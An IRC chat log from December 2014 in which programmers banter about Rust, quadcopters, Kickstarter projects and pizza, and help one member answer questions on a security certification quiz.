[2014-12-09T19:27:41-0500] <@awe> AND I'M GOING TO USE BINDGEN TO MAKE A RUST WRAPPER FOR IT
[2014-12-09T19:27:55-0500] <@awe> AND I'M GOING TO DO COOL QUADCOPTER THINGS WITH RUST.
[2014-12-09T19:28:29-0500] <+jwoglom> woah there
[2014-12-09T19:29:19-0500] <Hyper> that's cute
[2014-12-09T19:29:27-0500] <+ubuntor> yes
[2014-12-09T19:29:48-0500] <+Tamini> lol awe
[2014-12-09T19:30:07-0500] <@awe> .-.
[2014-12-09T19:32:59-0500] <Hyper> I want somebody to tether that to an oculus for a 3rd person camera
[2014-12-09T19:33:05-0500] <Hyper> that'd be stupid awesome
[2014-12-09T19:33:57-0500] <JacobEdelman> Hyper: add in some kinect stuff and fans and you can be a bird :)
[2014-12-09T19:35:41-0500] <@awe> So, it's agreed then?
[2014-12-09T19:35:50-0500] <@awe> Everyone is going to donate money to me
[2014-12-09T19:35:52-0500] <@awe> and then I'll buy one?
[2014-12-09T19:36:02-0500] <@awe> Send paypal donations to aaronweiss74@gmail.com
[2014-12-09T19:36:06-0500] <Hyper> lol
[2014-12-09T19:36:10-0500] <+Tamini> lol
[2014-12-09T19:36:16-0500] <@awe> Bitcoin donations to 1GwWFMfnZf2LwEgQAUHBiGV2PdCLyQPYA6
[2014-12-09T19:36:17-0500] <@awe> thanks, guys.
[2014-12-09T19:36:24-0500] <@awe> I look forward to seeing the money soon.
[2014-12-09T19:39:05-0500] <@awe> Tamini: your birthday is coming up.
[2014-12-09T19:39:08-0500] <@awe> Tamini: it's in 6 days.
[2014-12-09T19:39:42-0500] <+Tamini> yes, thank you awe :P
[2014-12-09T19:42:15-0500] <Hyper> muahahaha
[2014-12-09T19:42:21-0500] <Hyper> ragelake's console now has autocompletion
[2014-12-09T19:42:25-0500] <Hyper> erm
[2014-12-09T19:42:27-0500] <Hyper> tab completion
[2014-12-09T19:42:36-0500] <Hyper> and shows you what it would complete
[2014-12-09T19:42:58-0500] <@awe> Hyper: neat.
[2014-12-09T19:43:03-0500] <@awe> Hyper: you should port it to Rust.
[2014-12-09T19:43:08-0500] <@awe> >:D
[2014-12-09T19:43:14-0500] <Hyper> x.x but I like D
[2014-12-09T19:43:18-0500] <Hyper> </3
[2014-12-09T19:43:23-0500] <@awe> I want more Rust friends :(
[2014-12-09T19:43:53-0500] <Hyper> awe: If you send me a good guide to the language I'll check it out over the weekend ;)
[2014-12-09T19:43:59-0500] <Hyper> actually
[2014-12-09T19:44:06-0500] <Hyper> I need to get in the C++ mindset for finals
[2014-12-09T19:44:07-0500] <Hyper> shit
[2014-12-09T19:45:17-0500] <@awe> Hyper: http://doc.rust-lang.org/guide.html
[2014-12-09T19:47:27-0500] <@awe> http://www.reddit.com/r/programming/comments/27mqpg/does_anyone_else_snigger_to_themselves_when_they/
[2014-12-09T19:48:17-0500] <@awe> JacobEdelman: did anyone ever redeem those dogecoins I gave them?
[2014-12-09T19:48:24-0500] <JacobEdelman> I doubt it 
[2014-12-09T19:52:50-0500] <@awe> Nope.
[2014-12-09T19:52:53-0500] <@awe> Literally none of them.
[2014-12-09T19:53:19-0500] <JacobEdelman> @markov
[2014-12-09T19:53:25-0500] <@awe> This was the fate of my hacked dogechain wallet: http://dogechain.info/address/DRHDxVzfEMuP5B8ioiRsbav7KN4p9yVD31
[2014-12-09T19:53:28-0500] <JacobEdelman> oh wait
[2014-12-09T19:53:30-0500] <JacobEdelman> no awebot
[2014-12-09T19:53:32-0500] <JacobEdelman> :(
[2014-12-09T19:53:34-0500] <@awe> It was used to funnel 600,000 doge.
[2014-12-09T19:53:40-0500] <JacobEdelman> wow....
[2014-12-09T19:53:50-0500] <JacobEdelman> how was it hacked?
[2014-12-09T19:53:58-0500] <@awe> It was on a website that got hacked.
[2014-12-09T19:58:30-0500] <zrl> awe: javascript's type system is best type system
[2014-12-09T19:58:50-0500] <@awe> zrl: Do you seriously believe this or are you trolling?
[2014-12-09T19:59:23-0500] <nezorg> awe: am I not enough for a rust friend?
[2014-12-09T19:59:33-0500] <nezorg> (I guess I don't have time to write much...)
[2014-12-09T19:59:46-0500] <JacobEdelman> awe: I have sent you my paypall donation for the quadrocopter
[2014-12-09T19:59:47-0500] <@awe> nezorg: I currently have you who doesn't write enough Rust, a friend who uses Rust at Bloomberg, and another friend who uses Rust.
[2014-12-09T20:00:17-0500] <@awe> For the record guys, he sent me an image of a 100 dollar bill.
[2014-12-09T20:00:26-0500] <nezorg> lol
[2014-12-09T20:00:31-0500] <JacobEdelman> I burnt the real copy, that way its not forgery
[2014-12-09T20:00:37-0500] <nezorg> I'll send you a nickel in btc
[2014-12-09T20:00:41-0500] <JacobEdelman> since theres only ever at most one copy of it
[2014-12-09T20:00:48-0500] <@awe> nezorg: I'll take it.
[2014-12-09T20:00:49-0500] <@awe> nezorg: Why not?
[2014-12-09T20:00:50-0500] <JacobEdelman> now all he has to do is print the image out
[2014-12-09T20:01:08-0500] <JacobEdelman> so, how much is this quadrocopty
[2014-12-09T20:01:10-0500] <JacobEdelman> *copter
[2014-12-09T20:01:17-0500] <JacobEdelman> cause you got 100.25 dollars now
[2014-12-09T20:01:34-0500] <JacobEdelman> can't you just buy and antenna and duct tape it to a dragon fly
[2014-12-09T20:01:44-0500] <JacobEdelman> they have 4 wings, right?
[2014-12-09T20:02:23-0500] <@awe> https://www.kickstarter.com/projects/rabidprototypes/pixelduino-the-arduino-with-an-awesome-oled-displa?ref=category
[2014-12-09T20:02:41-0500] <@awe> Have I told you guys about my goal?
[2014-12-09T20:02:50-0500] <@awe> I want to make my own Game Boy.
[2014-12-09T20:02:52-0500] <Hyper> to be the very best?
[2014-12-09T20:02:57-0500] <Hyper> like no one ever was?
[2014-12-09T20:03:32-0500] <nezorg> awe: I sent you 0.2 mBTC
[2014-12-09T20:03:38-0500] <@awe> nezorg: WOO
[2014-12-09T20:04:06-0500] <@awe> But yeah, seriously, I want to make a Game Boy.
[2014-12-09T20:04:09-0500] <JacobEdelman> 55, dollars?
[2014-12-09T20:04:11-0500] <JacobEdelman> so much
[2014-12-09T20:04:12-0500] <@awe> I want to design and 3D print the case
[2014-12-09T20:04:19-0500] <@awe> write my own game boy emulator 
[2014-12-09T20:04:23-0500] <Hyper> nice
[2014-12-09T20:04:27-0500] <nezorg> awe: I hope I typed in the address correctly...
[2014-12-09T20:06:23-0500] <+hardmath123> i just spend time making paper planes
[2014-12-09T20:07:05-0500] <@awe> Guys.
[2014-12-09T20:07:07-0500] <@awe> All of my needs are being met.
[2014-12-09T20:07:08-0500] <@awe> https://www.kickstarter.com/projects/1000610379/hashkey-a-dedicated-1-key-keyboard-for-the-hashtag?ref=category
[2014-12-09T20:07:54-0500] <@awe> In all seriousness, this is amazing: https://www.kickstarter.com/projects/1181257820/impossible-0?ref=category
[2014-12-09T20:09:07-0500] <@awe> Well, besides it looking silly.
[2014-12-09T20:10:08-0500] <+LittleBobbyTables> awe what's a zano
[2014-12-09T20:10:24-0500] <@awe> LittleBobbyTables: it's the thing you're buying me
[2014-12-09T20:10:25-0500] <@awe> LittleBobbyTables: https://www.kickstarter.com/projects/torquing/zano-autonomous-intelligent-swarming-nano-drone?ref=category
[2014-12-09T20:11:32-0500] <+LittleBobbyTables> Why do I have to buy it?
[2014-12-09T20:12:10-0500] <@awe> I'm poor.
[2014-12-09T20:12:18-0500] <@awe> Pls SugarDaddyTables pls
[2014-12-09T20:12:39-0500] <JacobEdelman> awe: this is all I ever needed https://www.kickstarter.com/projects/petertreadway/spnkix-wearable-mobility?ref=discovery
[2014-12-09T20:12:40-0500] <+LittleBobbyTables> torrentfreak.com/swedish-police-raid-the-pirate-bay-site-offline-141209/
[2014-12-09T20:12:55-0500] <JacobEdelman> I just wish I could buy them
[2014-12-09T20:13:33-0500] <+LittleBobbyTables> pls buy pirate bay
[2014-12-09T20:13:35-0500] <+LittleBobbyTables> we need it again
[2014-12-09T20:14:40-0500] <JacobEdelman> well I can only see one way 
[2014-12-09T20:14:50-0500] <JacobEdelman> kickstarter: buy the swedish police
[2014-12-09T20:15:00-0500] <@awe> lol
[2014-12-09T20:15:02-0500] <JacobEdelman> if the mpaa can buy them
[2014-12-09T20:15:05-0500] <JacobEdelman> then so can we
[2014-12-09T20:15:19-0500] <JacobEdelman> we are raising 10 million dollars to do this
[2014-12-09T20:15:24-0500] <JacobEdelman> but we think the internet can succeed
[2014-12-09T20:15:35-0500] <JacobEdelman> our costs will be thus: 90% towards bribery
[2014-12-09T20:15:37-0500] <@awe> JacobEdelman: I'd be down for spnKiX
[2014-12-09T20:15:39-0500] <+LittleBobbyTables> Title: Buy off the Swedish police so they stop seizing TPB
[2014-12-09T20:15:41-0500] <JacobEdelman> and 10% operations overhead
[2014-12-09T20:15:46-0500] <JacobEdelman> LittleBobbyTables: yup
[2014-12-09T20:15:55-0500] <+LittleBobbyTables> 10%? More like 30
[2014-12-09T20:15:58-0500] <JacobEdelman> (operations overhead= paying me and LittleBobbyTables )
[2014-12-09T20:16:00-0500] <JacobEdelman> okay
[2014-12-09T20:16:01-0500] <JacobEdelman> yeah
[2014-12-09T20:16:03-0500] <JacobEdelman> that seems legit
[2014-12-09T20:16:05-0500] <JacobEdelman> 30%
[2014-12-09T20:16:05-0500] <+LittleBobbyTables> You have to say "there's risk involved"
[2014-12-09T20:16:31-0500] <+LittleBobbyTables> They need us more than we need them
[2014-12-09T20:18:45-0500] <JacobEdelman> who needs who?
[2014-12-09T20:18:56-0500] <JacobEdelman> oh, the police need us
[2014-12-09T20:18:58-0500] <JacobEdelman> I get it
[2014-12-09T20:19:21-0500] <JacobEdelman> and the risk is.... us ripping our 100$ socks and having to buy new ones?
[2014-12-09T20:19:45-0500] <+LittleBobbyTables> nonono
[2014-12-09T20:19:47-0500] <+LittleBobbyTables> The internet needs us
[2014-12-09T20:19:51-0500] <JacobEdelman> ah
[2014-12-09T20:19:52-0500] <JacobEdelman> okay
[2014-12-09T20:19:52-0500] <+LittleBobbyTables> And the risk is us going to jail
[2014-12-09T20:19:54-0500] <JacobEdelman> I gots it
[2014-12-09T20:19:57-0500] <JacobEdelman> what, no
[2014-12-09T20:20:13-0500] <JacobEdelman> I'm just gonna give some dude 1% to do all the public talking
[2014-12-09T20:20:22-0500] <JacobEdelman> pick some person who does stuff like that anyway
[2014-12-09T20:20:24-0500] <JacobEdelman> like kim.com
[2014-12-09T20:20:28-0500] <JacobEdelman> the person
[2014-12-09T20:20:30-0500] <JacobEdelman> not the site
[2014-12-09T20:21:11-0500] <+LittleBobbyTables> lol
[2014-12-09T20:32:10-0500] <@awe> lol
[2014-12-09T20:36:33-0500] <@awe> JacobEdelman: http://youtu.be/KGgOpBtpKGE
[2014-12-09T20:42:26-0500] <+The_Master> the colbert report with Barak Obama is great
[2014-12-09T20:43:20-0500] <Hyper> 'its
[2014-12-09T20:43:23-0500] <Hyper> 'tis*
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[2014-12-09T21:40:00-0500] <@awe> I ordered pizza.
[2014-12-09T21:40:01-0500] <@awe> I'm so excited.
[2014-12-09T21:49:01-0500] <+alokpathy> Great
[2014-12-09T21:49:02-0500] <+alokpathy> now I want pizza
[2014-12-09T21:49:26-0500] <@awe> My coworkers did that last night.
[2014-12-09T21:49:32-0500] <@awe> Someone was like "pizza's going to be here soon."
[2014-12-09T21:49:36-0500] <@awe> I'm like "damn, I want pizza."
[2014-12-09T21:49:42-0500] <@awe> Other coworker is like "I'm so full from that pizza I ate."
[2014-12-09T21:49:55-0500] <@awe> I was just like "no pls .-."
[2014-12-09T21:50:21-0500] <+alokpathy> xDDDD
[2014-12-09T21:54:09-0500] <+hardmath123> I always get nervous ordering pizza.
[2014-12-09T21:54:52-0500] <+hardmath123> Mainly because Americans really don't understand the concept of "I don't eat meat"
[2014-12-09T21:54:58-0500] <@awe> I order online so that I don't interact with people.
[2014-12-09T21:55:15-0500] <+hardmath123> That's the spirit.
[2014-12-09T21:55:16-0500] <@awe> JacobEdelman: you should implement parser combinators in Rust.
[2014-12-09T21:56:06-0500] <+alokpathy> hardmath123: I just order a veggie pizza
[2014-12-09T21:56:12-0500] <+alokpathy> Though, yeah, I mainly order online
[2014-12-09T21:56:21-0500] <@awe> nezorg: lol, what if we could write parser combinators in Rust that had their own notation for specifying grammars that was handled by the rust compiler via macro?
[2014-12-09T21:56:26-0500] <@awe> nezorg: well, we could do it, what if we did?
[2014-12-09T22:00:28-0500] <@awe> This might already exist.
[2014-12-09T22:03:02-0500] <@awe> one parser combinator library in Rust: https://github.com/DanSimon/peruse
[2014-12-09T22:03:56-0500] <@awe> Another: https://github.com/Arcterus/tarnish
[2014-12-09T22:04:37-0500] <+LittleBobbyTables> I really love my new computer.
[2014-12-09T22:14:07-0500] <@awe> So, Haskell's parsec is apparently fairly easy to understand.
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[2014-12-09T23:39:17-0500] <+LittleBobbyTables> ​What federated identity management (FIM) relies on token credentials?
[2014-12-09T23:46:49-0500] <nezorg> openid?
[2014-12-09T23:46:53-0500] <nezorg> LittleBobbyTables: ^
[2014-12-09T23:47:05-0500] <+LittleBobbyTables> k
[2014-12-09T23:47:11-0500] <+LittleBobbyTables> Which of the following is not one of the four methods for classifying the various types of malware?​
[2014-12-09T23:47:51-0500] <nezorg> ...what is this for?
[2014-12-09T23:47:53-0500] <+ubuntor> ...?
[2014-12-09T23:48:10-0500] <+LittleBobbyTables> A test that doesn't matter at all and I'm taking for fun
[2014-12-09T23:48:18-0500] <+LittleBobbyTables> I have nothing better to do
[2014-12-09T23:48:28-0500] <+ubuntor> ic
[2014-12-09T23:48:36-0500] <+LittleBobbyTables> Most of the answers I already know, there's a few I don't, so I'm asking you guys
[2014-12-09T23:48:53-0500] <+LittleBobbyTables> I could PROBABLY find it in the book we have... But that requires a lot more work lol
[2014-12-09T23:49:54-0500] <+hardmath123> you do realize, that question requires you to actually *tell* us the four methods? :P
[2014-12-09T23:50:21-0500] <nezorg> something tells me it does not not matter at all
[2014-12-09T23:50:22-0500] <+LittleBobbyTables> right lol
[2014-12-09T23:50:30-0500] <+LittleBobbyTables> You could probably name the four
[2014-12-09T23:50:41-0500] <+hardmath123> umm
[2014-12-09T23:50:43-0500] <+LittleBobbyTables> circulation, infection, souce, concealment
[2014-12-09T23:50:53-0500] <nezorg> souce?
[2014-12-09T23:50:54-0500] <+hardmath123> 1) run `strings` and google the results
[2014-12-09T23:51:03-0500] <+LittleBobbyTables> I'd have though concealment :/
[2014-12-09T23:51:07-0500] <nezorg> ...did you spell souce right?
[2014-12-09T23:51:10-0500] <+LittleBobbyTables> source
[2014-12-09T23:51:12-0500] <+LittleBobbyTables> *
[2014-12-09T23:51:13-0500] <nezorg> ah
[2014-12-09T23:51:30-0500] <nezorg> i.e. read the source because the malware comes with debugging symbols?
[2014-12-09T23:51:48-0500] <+LittleBobbyTables> dunno. Doesn't provide anything else
[2014-12-09T23:52:55-0500] <+LittleBobbyTables> Hmm.
[2014-12-09T23:52:57-0500] <nezorg> I don't know anything about *actual* cyber security
[2014-12-09T23:52:59-0500] <nezorg> only hacking
[2014-12-09T23:53:02-0500] <+LittleBobbyTables> :P
[2014-12-09T23:53:08-0500] <+LittleBobbyTables> Well, now's the time to learn
[2014-12-09T23:53:20-0500] <+hardmath123> help my internet has slowed to a crawl
[2014-12-09T23:53:41-0500] <+LittleBobbyTables> If you wanna have fun with actual hacking, there's some tax sites that do W2's for you that don't encrypt anything with a decent encryption, and are vulnerable to POODLE, and admitted they won't fix it
[2014-12-09T23:55:07-0500] <nezorg> lol
[2014-12-09T23:55:07-0500] <+LittleBobbyTables> Actually, I have a question not on this test that I wanna set up for my computer
[2014-12-09T23:55:28-0500] <+LittleBobbyTables> You guys know how in some comps (most?) you can pull out the harddrive and just swap it without moving cords or anything around?
[2014-12-09T23:55:34-0500] <+LittleBobbyTables> How do I set that up :/
[2014-12-09T23:55:54-0500] <nezorg> 1. buy a workstation
[2014-12-09T23:55:57-0500] <nezorg> 2. there is no step two
[2014-12-09T23:56:06-0500] <+LittleBobbyTables> What about in a custom built machine
[2014-12-09T23:57:09-0500] <nezorg> buy a case that supports that
[2014-12-09T23:57:33-0500] <+LittleBobbyTables> Is it the case itself?
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[2014-12-09T23:58:39-0500] <nezorg> think so
[2014-12-09T23:58:46-0500] <+LittleBobbyTables> Damn.
[2014-12-09T23:58:50-0500] <+LittleBobbyTables> I guess I can't be lazy
[2014-12-09T23:58:54-0500] <+hardmath123> I just spent a couple of hours twiddling various small measurements in CSS
[2014-12-09T23:58:59-0500] <+hardmath123> I feel so proud
[2014-12-09T23:59:07-0500] <+hardmath123> it's beautifullllll
[2014-12-09T23:59:16-0500] <+LittleBobbyTables> hardmath123: learn a brand new language
[2014-12-09T23:59:22-0500] <+LittleBobbyTables> In the next minute
[2014-12-09T23:59:26-0500] <+LittleBobbyTables> Before tomorrow, essentially.
[2014-12-10T00:00:09-0500] <+hardmath123> LittleBobbyTables: does Duolingo do Finnish?
[2014-12-10T00:00:19-0500] <+LittleBobbyTables> I think so
[2014-12-10T00:00:59-0500] <+hardmath123> you know what's killing me right now? http://imgur.com/aGEt7G9
[2014-12-10T00:01:13-0500] <+hardmath123> Chrome doesn't play will with optimizeLegibility
[2014-12-10T00:02:18-0500] <nezorg> http://www.nytimes.com/2014/12/10/us/berkeley-protests.html?_r=0
[2014-12-10T00:03:36-0500] <+hardmath123> ohmygodigotitwithaterriblehack
[2014-12-10T00:05:03-0500] <+hardmath123> 14<span style="letter-spacing: -0.1em;">-</span>15
[2014-12-10T00:06:08-0500] • nezorg: dies
[2014-12-10T00:07:10-0500] <Hyper> hardmath123: there's a special place in hell for people who stick their styles in the tags.
[2014-12-10T00:08:22-0500] <+hardmath123> Fine.
[2014-12-10T00:08:42-0500] <+hardmath123> .badly-kerned-dash { ... }?
[2014-12-10T00:09:01-0500] <Hyper> I guess
[2014-12-10T00:09:08-0500] <Hyper> maybe dash-kerning-fix
[2014-12-10T00:09:50-0500] <+hardmath123> considering that i'm going to end up compiling this to a PDF, i'm not going to care
[2014-12-10T00:12:54-0500] <+LittleBobbyTables> Hmm
[2014-12-10T00:12:56-0500] <+LittleBobbyTables> "Simply using a mobile device in a public area can be considered a risk."
[2014-12-10T00:13:30-0500] <+LittleBobbyTables> I mean, it COULD be a risk
[2014-12-10T00:13:32-0500] <Hyper> Doesn't even need to be public
[2014-12-10T00:13:41-0500] <Hyper> it's amazing how much data you can get via passive sniffing
[2014-12-10T00:13:53-0500] <+LittleBobbyTables> I think I'll look in my book for this one
[2014-12-10T00:13:58-0500] <Hyper> (of wireless signals)
[2014-12-10T00:37:54-0500] <+LittleBobbyTables> What RAID type below utilizes parity data across all drives instead of using a separate drive to hold parity error checking information?
[2014-12-10T00:37:57-0500] <+LittleBobbyTables> 0 1 2 5
[2014-12-10T00:38:16-0500] <Hyper> I think that's 5
[2014-12-10T00:38:26-0500] <Hyper> 2 is striped, right?
[2014-12-10T00:39:24-0500] <+LittleBobbyTables> No idea
[2014-12-10T00:39:33-0500] <+LittleBobbyTables> I've never looked at RAID before
[2014-12-10T00:39:35-0500] <Hyper> yeah it's 5
[2014-12-10T00:39:39-0500] <Hyper> https://en.wikipedia.org/wiki/Standard_RAID_levels
[2014-12-10T00:40:40-0500] <Hyper> It's been awhile since I had to touch RAID
[2014-12-10T00:43:51-0500] <+LittleBobbyTables> Uhh
[2014-12-10T00:44:03-0500] <+LittleBobbyTables> isn't oauth
[2014-12-10T00:44:06-0500] <+LittleBobbyTables> and openauth the same thing
[2014-12-10T00:44:43-0500] <Hyper> yeah
[2014-12-10T00:45:44-0500] <+LittleBobbyTables> Why is this question dumb then
[2014-12-10T00:45:50-0500] <+LittleBobbyTables> "What technology allows users to share resources stored on one site with a second site without forwarding their authentication credentials to the other site?"
[2014-12-10T00:45:57-0500] <+LittleBobbyTables> oauth, openauth, saml, kerberos
[2014-12-10T00:46:11-0500] <+LittleBobbyTables> The only one I think it could be is SAML, cause I know it's not kerberos, and the same answer is repeated twice...
[2014-12-10T00:46:19-0500] <+LittleBobbyTables> But
[2014-12-10T00:46:24-0500] <+LittleBobbyTables> SAML is an XML type of thing
[2014-12-10T00:46:29-0500] <Hyper> um
[2014-12-10T00:46:42-0500] <Hyper> I mean oauth and stuff allow you to authenticate with another site
[2014-12-10T00:46:50-0500] <Hyper> which might allow sharing resources
[2014-12-10T00:46:52-0500] <+LittleBobbyTables> yeah
[2014-12-10T00:46:57-0500] <Hyper> but it might just be identity authentication
[2014-12-10T00:47:02-0500] <+LittleBobbyTables> But, doesn't OAuth "mean" openauth?
[2014-12-10T00:47:27-0500] <Hyper> yes
[2014-12-10T00:47:30-0500] <Hyper> they are the same thing
[2014-12-10T00:47:44-0500] <+LittleBobbyTables> Then what should I choose, OAuth or OpenAuth
[2014-12-10T00:48:08-0500] <Hyper> probably oauth, and let your instructor or whatever know that they're a dumbfuck
[2014-12-10T00:48:46-0500] <+LittleBobbyTables> lolk
[2014-12-10T00:50:36-0500] <@awe> OpenAuth doesn't exist.
[2014-12-10T00:50:55-0500] <Hyper> awe: wikipedia redirects openauth to oauth
[2014-12-10T00:50:56-0500] <+ubuntor> maybe it meant openid?
[2014-12-10T00:51:01-0500] <@awe> I know, but it's not a real thing.
[2014-12-10T00:51:05-0500] <Hyper> which is super legit
[2014-12-10T00:51:25-0500] <+LittleBobbyTables> Hmm
[2014-12-10T00:51:26-0500] <@awe> It's a convenience redirect, but there is no such thing as OpenAuth.
[2014-12-10T00:51:33-0500] <@awe> It's called OAuth.
[2014-12-10T00:51:44-0500] <Hyper> ah
[2014-12-10T00:52:03-0500] <@awe> The spec only refers to it as OAuth.
[2014-12-10T00:52:42-0500] <@awe> No official documentation ever uses the term OpenAuth at all.
[2014-12-10T00:52:47-0500] <Hyper> ok, that works
[2014-12-10T00:53:07-0500] <@awe> It's one of those things that somebody said once and people just picked up on it despite it being wrong.
[2014-12-10T00:53:17-0500] <+LittleBobbyTables> Select below the option that represents a wearable technology:​
[2014-12-10T00:53:17-0500] <+LittleBobbyTables> 	​iPhone
[2014-12-10T00:53:17-0500] <+LittleBobbyTables> 	​Android
[2014-12-10T00:53:17-0500] <+LittleBobbyTables> 	​Google Glass
[2014-12-10T00:53:17-0500] <+LittleBobbyTables> 	​Google Chromebook
[2014-12-10T00:53:26-0500] <Hyper> lol
[2014-12-10T00:53:31-0500] <@awe> LittleBobbyTables: I can wear all of those.
[2014-12-10T00:53:37-0500] <+LittleBobbyTables> Right?
[2014-12-10T00:53:46-0500] <Hyper> I can wear my phone super hard man
[2014-12-10T00:54:36-0500] <Hyper> you don't wear google glass, google glass wears you
[2014-12-10T00:54:40-0500] <@awe> Rather, you couldn't wear Android obviously.
[2014-12-10T00:54:56-0500] <Hyper> Android Wear begs to disagree :)
[2014-12-10T00:55:06-0500] <@awe> Those are wearables built with Android.
[2014-12-10T00:55:11-0500] <@awe> You can't physically wear an operating system.
[2014-12-10T00:55:23-0500] <+LittleBobbyTables> Doesn't iOS require apps to be approved?
[2014-12-10T00:55:31-0500] <@awe> Yes.
[2014-12-10T00:55:33-0500] <+LittleBobbyTables> k
[2014-12-10T00:55:34-0500] <@awe> Sort of.
[2014-12-10T00:55:40-0500] <@awe> The App Store requires approval.
[2014-12-10T00:55:43-0500] <+LittleBobbyTables> "​What mobile operating system below requires all applications to be reviewed and approved before they can be made available on the public store front?"
[2014-12-10T00:55:47-0500] <@awe> You can install apps without the app store as long as their signed.
[2014-12-10T00:55:51-0500] <@awe> Which requires... not disapproval.
[2014-12-10T00:55:52-0500] <+LittleBobbyTables> So, yeah
[2014-12-10T00:55:55-0500] <Hyper> awe: what?
[2014-12-10T00:56:01-0500] <Hyper> I mean if you jailbreak sure
[2014-12-10T00:56:04-0500] <@awe> No.
[2014-12-10T00:56:06-0500] <@awe> You can do it.
[2014-12-10T00:56:12-0500] <@awe> You can install non-App Store apps.
[2014-12-10T00:56:14-0500] <@awe> Without jailbreaking.
[2014-12-10T00:56:18-0500] <@awe> It was adding in iOS 6, I think.
[2014-12-10T00:56:19-0500] <Hyper> since when?
[2014-12-10T00:56:23-0500] <Hyper> wow
[2014-12-10T00:56:23-0500] <@awe> addeD*
[2014-12-10T00:56:26-0500] <@awe> It's complicated.
[2014-12-10T00:56:33-0500] <@awe> They have to be signed by a valid developer account.
[2014-12-10T00:56:39-0500] <@awe> Apple can revoke the certification.
[2014-12-10T00:57:10-0500] <@awe> Well, they have to be signed by a valid developer account and then use a certification granted by the developer called an enterprise certificate (but you can get them really easily)
[2014-12-10T00:57:19-0500] <@awe> But Apple can revoke the certificates if they're being abused.
[2014-12-10T00:57:45-0500] <@awe> Major cases of this occurring include GBA4iOS which released using an enterprise certificate that was revoked by Apple within a few hours.
[2014-12-10T00:57:53-0500] <Hyper> so technically yes, but effectively no
[2014-12-10T00:58:19-0500] <@awe> There's bugs that have been continually abused to allow you to use the apps even after the certificate is revoked.
[2014-12-10T00:58:20-0500] <+LittleBobbyTables> "What type of cryptography uses two keys instead of just one, generating both a private and a public key?"
[2014-12-10T00:58:25-0500] <@awe> For example, one that involved setting your clock back.
[2014-12-10T00:58:34-0500] <@awe> LittleBobbyTables: public-private key cryptography lol
[2014-12-10T00:58:36-0500] <+LittleBobbyTables> Symmetric, Asymmetric, Share,d Open
[2014-12-10T00:58:47-0500] <@awe> Or asymmetric.
[2014-12-10T00:58:50-0500] <Hyper> Asym, I guess
[2014-12-10T00:58:53-0500] <@awe> It's asym.
[2014-12-10T00:59:11-0500] <+LittleBobbyTables> "​How can an administrator manage applications on mobile devices using a technique called "app wrapping?""
[2014-12-10T00:59:12-0500] <@awe> Hyper: but yeah, I wouldn't bank on enterprise certs as a way to legitimately release your app.
[2014-12-10T00:59:19-0500] <@awe> LittleBobbyTables: options?
[2014-12-10T00:59:20-0500] <+LittleBobbyTables>  	​Mobile Application Management
[2014-12-10T00:59:20-0500] <+LittleBobbyTables> 	​Extended Application Management 
[2014-12-10T00:59:20-0500] <+LittleBobbyTables> 	​Remote Application Management
[2014-12-10T00:59:20-0500] <+LittleBobbyTables> 	​Cloud Application Management
[2014-12-10T00:59:23-0500] <+LittleBobbyTables> Last question
[2014-12-10T00:59:24-0500] hardmath123 is now known as hardmath123[zzz]
[2014-12-10T00:59:28-0500] <+LittleBobbyTables> Night hardmath123[zzz] 
[2014-12-10T00:59:28-0500] <@awe> Remote application management.
[2014-12-10T00:59:34-0500] <@awe> Probably.
[2014-12-10T00:59:43-0500] <+LittleBobbyTables> ohwait
[2014-12-10T00:59:45-0500] <Hyper> no idea
[2014-12-10T00:59:46-0500] <+LittleBobbyTables> I apparently skipped two questions
[2014-12-10T00:59:54-0500] <+LittleBobbyTables> "The Bell-LaPadula (BLP) model of MAC can be used to prevent subjects from creating a new object or performing specific functions on objects that are at a lower level than their own.​" true/false
[2014-12-10T01:00:11-0500] <+LittleBobbyTables> "Which of the following is not one of the four methods for classifying the various types of malware?​" cirulation, infection, source, concealment
[2014-12-10T01:00:23-0500] <+LittleBobbyTables> The last one I'm thinking concealment or source.
[2014-12-10T01:01:26-0500] <@awe> LittleBobbyTables: true for the first one
[2014-12-10T01:01:52-0500] <@awe> One of the things about BLP is that it doesn't allow people with a certain access level to create data below their access level because it wants to ensure that no information leaks happen.
[2014-12-10T01:02:06-0500] <+LittleBobbyTables> onice
[2014-12-10T01:02:11-0500] <@awe> So, a researcher can produce data at their level or above
[2014-12-10T01:02:13-0500] <@awe> but not below that.
[2014-12-10T01:02:23-0500] <@awe> Because the plebs might see it and the researcher might not have realized the significance of it.
[2014-12-10T01:02:36-0500] <@awe> So, all things that a top-secret researcher produces are top-secret, even if they're trivial. :D
[2014-12-10T01:05:22-0500] <+LittleBobbyTables> So yeah
[2014-12-10T01:05:26-0500] <+LittleBobbyTables> What about the other question :P
[2014-12-10T01:06:05-0500] <@awe> Uhh...
[2014-12-10T01:07:01-0500] <@awe> I don't think malware is classified by source.
[2014-12-10T01:07:32-0500] <@awe> Malware is classified by it's functionality.
[2014-12-10T01:07:47-0500] <@awe> Which includes: method of circulation, method of infection, method of concealment, and actual impact.
[2014-12-10T01:07:58-0500] <+LittleBobbyTables> "A security administrator has both technical ​knowledge and managerial skills."
[2014-12-10T01:08:02-0500] <+LittleBobbyTables> True/false
[2014-12-10T01:08:08-0500] <+LittleBobbyTables> (I got this one wrong, apparently)
[2014-12-10T01:08:23-0500] <@awe> True
[2014-12-10T01:08:44-0500] <+LittleBobbyTables> I said false, cause that's not always the case from personal experience.
[2014-12-10T01:08:49-0500] <@awe> LOL.
[2014-12-10T01:08:52-0500] <@awe> Well, ideally.
[2014-12-10T01:08:55-0500] <+LittleBobbyTables> Yeah.
[2014-12-10T01:09:00-0500] <Hyper> the answer is true (supposedly)
[2014-12-10T01:09:10-0500] <+LittleBobbyTables> I'm like "uhh, this is an absolute. So it's obviously false"
[2014-12-10T01:09:32-0500] <+LittleBobbyTables> You got the "Remote Application Management" one wrong.
[2014-12-10T01:09:38-0500] <+LittleBobbyTables> Doesn't tell me the right answer, though.
[2014-12-10T01:16:52-0500] <@awe> Try MAM.
[2014-12-10T01:16:56-0500] <@awe> I was between those two.
[2014-12-10T01:17:25-0500] <+LittleBobbyTables> Too late.
[2014-12-10T01:54:56-0500] <+LittleBobbyTables> Man, some people are so fun.
[2014-12-10T01:55:01-0500] <+LittleBobbyTables> Someone's having issues with a GPU
[2014-12-10T01:55:08-0500] <+LittleBobbyTables> I tell him I'll go through EVERY possible scenario
[2014-12-10T01:55:14-0500] <+LittleBobbyTables> He says "no that can't be it" to everything
[2014-12-10T01:55:20-0500] <+LittleBobbyTables> Tell him to download the driver directly
[2014-12-10T01:55:45-0500] <+LittleBobbyTables> He's like "drivers won't install for something not recognized for the computer" even though he's using the GPU directly
